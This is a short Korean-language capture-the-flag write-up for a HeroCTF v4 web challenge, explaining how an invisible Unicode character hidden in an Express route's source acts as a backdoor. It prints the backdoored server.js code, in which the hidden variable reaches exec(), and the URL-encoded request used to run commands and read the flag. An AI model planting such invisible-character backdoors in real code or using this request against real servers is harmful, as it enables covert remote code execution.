-
웹 사이트를 둘러보면 간단한 API를 통해 백엔드와 상호 작용하고 있는 부분을 확인할 수 있다.
페이지 스크롤을 내리면 소스 코드 파일도 다운 받을 수 있다.
다운 받은 소스 코드 분석 결과, 원격 코드를 실행 시키는 유일한 방법은 server/server.js의 checkCommands 목록에 있는 exec() 함수를 통하는 것뿐이었다.
app.get('/server_health', cors(corsOptions), async (req, res) => { var { timeout,ㅤ} = req.query; const checkCommands = [ '/bin/bash /home/player/scripts/fileIntegrity.sh', '/bin/bash /home/player/scripts/isUp.sh localhost:80', '/bin/bash /home/player/scripts/isUp.sh localhost:3000',ㅤ ]; var t = 0; if (timeout != "") { t = parseInt(t); } try { output = "" await Promise.all(checkCommands.map(async (cmd) => { try { r = await exec(cmd, { timeout: t }); output += r.stdout.trim() || r.stderr.trim(); } catch (err) { output += ""; } output += "\n" })); res.status(200); res.send(output.trim()); } catch(e) { res.status(500); res.send('Server status : ERROR'); } });
그렇게 계속 백도어를 찾던 중 vscode로 server/server.js 파일을 열었더니 투명색 무언가가 강조 되고 있는 걸 발견할 수 있었다.
알고보니 checkCommands 마지막 목록 뒤에 보이지 않는 변수가 있었다.
(함수가 요청 쿼리 파라미터에서 파라미터를 복구할 때(타임아웃 포함) 첫 번째 줄에도 동일한 요소가 있다.)
투명한 문자가 백도어인 듯 하다.
투명한 문자를 URL에 넣기 위해서 URL 인코딩을 해주었다.
URL 인코딩한 결과 값(%E3%85%A4)을 웹페이지 입력 필드에 넣었고 원격 코드를 실행 시킬 수 있었다.
/server_health?%E3%85%A4=<command>
원격 코드 실행으로 디렉터리를 탐색해보았고 flag.txt를 상위 디렉터리에서 찾을 수 있었다.
Flag : Hero{1nv1s1b1e_b4ckd0or_w7f} 'CTF > HeroCTF v4' 카테고리의 다른 글
[HeroCTF v4] SmallMistakeBigMistake (1) 2022.05.31 댓글